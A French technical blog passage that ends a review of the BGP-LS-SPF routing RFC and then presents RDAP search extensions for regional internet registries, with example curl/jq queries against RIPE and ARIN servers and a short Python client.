Bon, maintenant, le protocole lui-même. C'est bien sûr le bon vieux BGP du RFC 4271, avec l'extension LS du RFC 9552 et « juste » en plus l'utilisation de SPF pour le mécanisme de décision (« quelle route choisir ? »). Autrement, le RFC insiste, c'est du BGP normal, avec son automate, son format de paquets, ses signalements d'erreurs (RFC 7606), etc. Du fait du nouveau mécanisme de décision, les attributs optionnels des chemins annoncés n'ont pas à être transmis (les attributs obligatoires, comme leur nom l'indique, sont toujours transmis, même si SPF ne les utilise pas). Comme le calcul des routes se fait sur la base de l'information sur l'état des liens, un routeur BGP-LS-SPF n'attend pas d'avoir fait son calcul local avant de transmettre une annonce, il envoie tout (section 2). Le traditionnel mécanisme de décision de BGP (celui de la section 9.1 du RFC 4271) disparait et est remplacé par celui décrit en section 6. Cela implique, entre autres, que le chemin d'AS n'est plus utilisé pour empêcher les boucles.
On l'a dit, BGP-LS-SPF s'appuie sur le BGP-LS du RFC 9552 mais, avec un nouveau SAFI (Subsequent Address Family Identifier), le 80, puisque le SAFI du RFC 9552 supposait le processus de décision traditionnel de BGP (SPF ne doit être utilisé qu'avec les informations obtenues via les NLRI BGP-LS-SPF, cf. section 5.1). Par contre, les autres paramètres de BGP-LS sont utilisés tels quels (section 5.1.1). Il y a aussi des ajouts, par exemple pour indiquer qu'un lien ou un préfixe doit être considéré comme inutilisable par BGP-LS-SPF.
Les messages peuvent être gros, vu qu'on doit transporter l'information au sujet de tout le domaine de routage. Il est donc recommandé de mettre en œuvre le RFC 8654, qui permet d'avoir des messages BGP de plus de 4 096 octets.
La section 4 du RFC explique comment s'appairer pour échanger des informations sur les états des liens. En gros, rien de spécial, appairage direct ou passage par un réflecteur (RFC 4456) sont possibles comme avant.
Date de publication du RFC : Janvier 2026
Auteur(s) du RFC : T. Harrison (APNIC), J. Singh (ARIN)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF regext
Première rédaction de cet article le 8 janvier 2026
Le protocole RDAP, successeur de whois, n'est pas utilisé que par les registres de noms de domaine. Il sert aussi chez les RIR, pour obtenir des informations sur les entités qui sont derrière une adresse IP (ou un AS). RDAP dispose dès le début de fonctions de recherche (regardez le RFC 9082) mais ce nouveau RFC ajoute des choses en plus.
Traditionnellement, les serveurs whois des RIR disposaient de fonction de recherche « avancées » comme la possibilité de chercher par valeur (« quels sont tous les préfixes IP de tel titulaire ? »). L'idée de ce RFC est de permettre la même chose en RDAP. RDAP de base permet les recherches des informations associées à une adresse IP :
% curl -s https://rdap.db.ripe.net/ip/2001:41d0:302:2200::180 | jq .
{
"handle": "2001:41d0::/32",
"name": "FR-OVH-20041115",
"country": "FR",
"parentHandle": "2001:4000::/23",
…
"status": [
"active"
],
"entities": [
{
"handle": "OK217-RIPE",
…
"text",
"Octave Klaba"
…
En plus de ip, ce RFC ajoute
ips (section 2.1) qui permet une recherche sur
tous les préfixes dont le nom correspond à un certain motif (ici,
tous ceux d'OVH) :
% curl -s https://rdap.db.ripe.net/ips\?name="FR-OVH-*" | jq '.ipSearchResults.[].handle' "109.190.0.0 - 109.190.255.255" "135.125.0.0 - 135.125.255.255" "137.74.0.0 - 137.74.255.255" "141.94.0.0 - 141.95.255.255" "145.239.0.0 - 145.239.255.255" "147.135.128.0 - 147.135.255.255" "149.202.0.0 - 149.202.255.255" "152.228.128.0 - 152.228.255.255" "159.173.0.0 - 159.173.255.255" "162.19.0.0 - 162.19.255.255" …
J'ai utilisé ici curl et jq mais, évidemment, l'avantage de RDAP est que vous pouvez utiliser un client dédié ou bien n'importe quel logiciel qui sait faire du HTTP et du JSON (voyez plus loin un exemple en Python).
Et chez un autre RIR :
% curl -s https://rdap.arin.net/registry/ips\?name='CLOUDFLARE*' | \
jq '.ipSearchResults.[].handle'
"NET-104-16-0-0-1"
"NET-108-162-192-0-1"
"NET-156-146-101-152-1"
"NET-162-158-0-0-1"
"NET-172-64-0-0-1"
"NET-173-245-48-0-1"
"NET-198-41-128-0-1"
"NET-199-27-128-0-1"
"NET6-2606-4700-1"
De la même façon, vous pouvez chercher par numéro d'AS :
% curl -s https://rdap.db.ripe.net/autnums\?name="*NIC-FR*" | \
jq '.autnumSearchResults.[].handle'
"AS2483"
"AS2484"
"AS2485"
"AS2486"
La section 3 décrit ensuite des moyens de trouver les objets parents et enfants (puisque l'allocation des adresses IP est hiérarchique, toute adresse est dans un préfixe plus général et contient des préfixes plus spécifiques, cf. la section 3.2.1 du RFC) :
% curl -s https://rdap.db.ripe.net/ips/rirSearch1/rdap-up/2001:41d0:302:2200::180 | \
jq '.handle'
"2001:41d0::/32"
% curl -s https://rdap.db.ripe.net/ips/rirSearch1/rdap-down/2001:4000::/23 | \
jq '.ipSearchResults.[].handle'
"2001:4000::/32"
"2001:4010::/32"
"2001:4018::/29"
"2001:4020::/32"
…
Notez la relation (rdap-up et
rdap-down). Notez aussi que
rdap-up renvoie au maximum un objet alors que
rdap-down peut en renvoyer plusieurs
(cf. section 4.2), et c'est pour cela qu'il a fallu itérer en jq (le
.[] parcourt le tableau). Quant au
rirSearch1, le 1 indique la version de cette
extension de recherche chez les RIR (désormais enregistrée
à l'IANA).
Et en Python, ça donnerait :
#!/usr/bin/python
# Example of using search extensions to RDAP (RFC 9910)
# https://requests.readthedocs.io
import requests
# Standard library
import json
import sys
# Yes, we should use the registry documented in RFC 7484…
BASE_URL = "https://rdap.db.ripe.net/ips/rirSearch1/rdap-down"
if len(sys.argv) != 2:
raise Exception("Usage: %s ip-prefix-at-ripe" % sys.argv[0])
arg = sys.argv[1]
response = requests.get("%s/%s" % (BASE_URL, arg))
if response.status_code != 200:
raise Exception("Wrong HTTP return code from %s: %s" % (BASE_URL, response.status_code))
data = json.loads(response.text)
for prefix in data["ipSearchResults"]:
print(prefix["handle"])
Et les recherches inverses, telles que décrites dans le RFC 9536 ? La section 5 du RFC les présente et voici un exemple qui marche (trouver tous les préfixes de Webflow) :
% curl -s 'https://rdap.arin.net/registry/ips/reverse_search/entity?handle=WEBFL' | \
jq '.ipSearchResults.[].handle'
"NET-198-202-211-0-1"
"NET6-2620-CB-2000-1"
Un serveur RDAP qui gère les extensions de ce RFC doit le signaler dans ses réponses (section 6) :
…
"rdapConformance" : [ "geofeed1", "rirSearch1", "ips", "cidr0",
"rdap_level_0", "nro_rdap_profile_0", "redacted" ],
…
Mais aussi dans les liens donnés dans les réponses (ici, en réponse
à une requête traditionnelle ip) :
"links": [
{
"value": "https://rdap.db.ripe.net/ip/2001:41d0:302:2200::180",
"rel": "rdap-up",
"href": "https://rdap.db.ripe.net/ips/rirSearch1/rdap-up/2001:41d0::/32",
"type": "application/rdap+json"
},
Et bien sûr dans les réponses d'aide :
% curl -s https://rdap.arin.net/registry/help
{
"rdapConformance" : [ "nro_rdap_profile_0", "rdap_level_0", "cidr0", "nro_rdap_profile_asn_flat_0", "arin_originas0", "rirSearch1", "ips", "ipSearchResults", "autnums", "autnumSearchResults", "reverse_search" ],
"notices" : [ {
"title" : "Terms of Service",
"description" : [ "By using the ARIN RDAP/Whois service, you are agreeing to the RDAP/Whois Terms of Use" ],
"links" : [ {
"value" : "https://rdap.arin.net/registry/help",
"rel" : "terms-of-service",
"type" : "text/html",
"href" : "https://www.arin.net/resources/registry/whois/tou/"
} ]
…
Les fonctions de recherche, c'est très bien mais c'est, par construction, indiscret. La section 8 de notre RFC détaille les risques de ces extensions de recherche pour la vie privée (relire le RFC 7481 est une bonne idée).
Les extensions de ce RFC, rirSearch1,
ips, autnums,
ipSearchResults et
autnumSearchResults ont été enregistrées
à l'IANA (section 10 du RFC). Les relations
rdap-up, rdap-down,
rdap-top et rdap-bottom
sont dans le registre
des liens (RFC 8288). Et le registre
des recherches inverses inclut désormais
fn, handle,
email et role, avec leur
correspondance en JSONPath.
Et question mise en œuvre et déploiement, on a quoi ? ARIN et RIPE ont annoncé avoir programmé les extensions de ce RFC mais elles ne sont pas forcément accessibles via le serveur RDAP public, entre autre pour les raisons de vie privée discutées dans la section 8. Aujourd'hui, comme vous le voyez dans les exemples ci-dessus, au moins ARIN et RIPE rendent une partie de ces extensions utilisables.
Articles des différentes années : 2026 2025 2024 2023 2022 2021 2020 Précédentes années
Syndication : Flux Atom avec seulement les résumés et Flux Atom avec tout le contenu.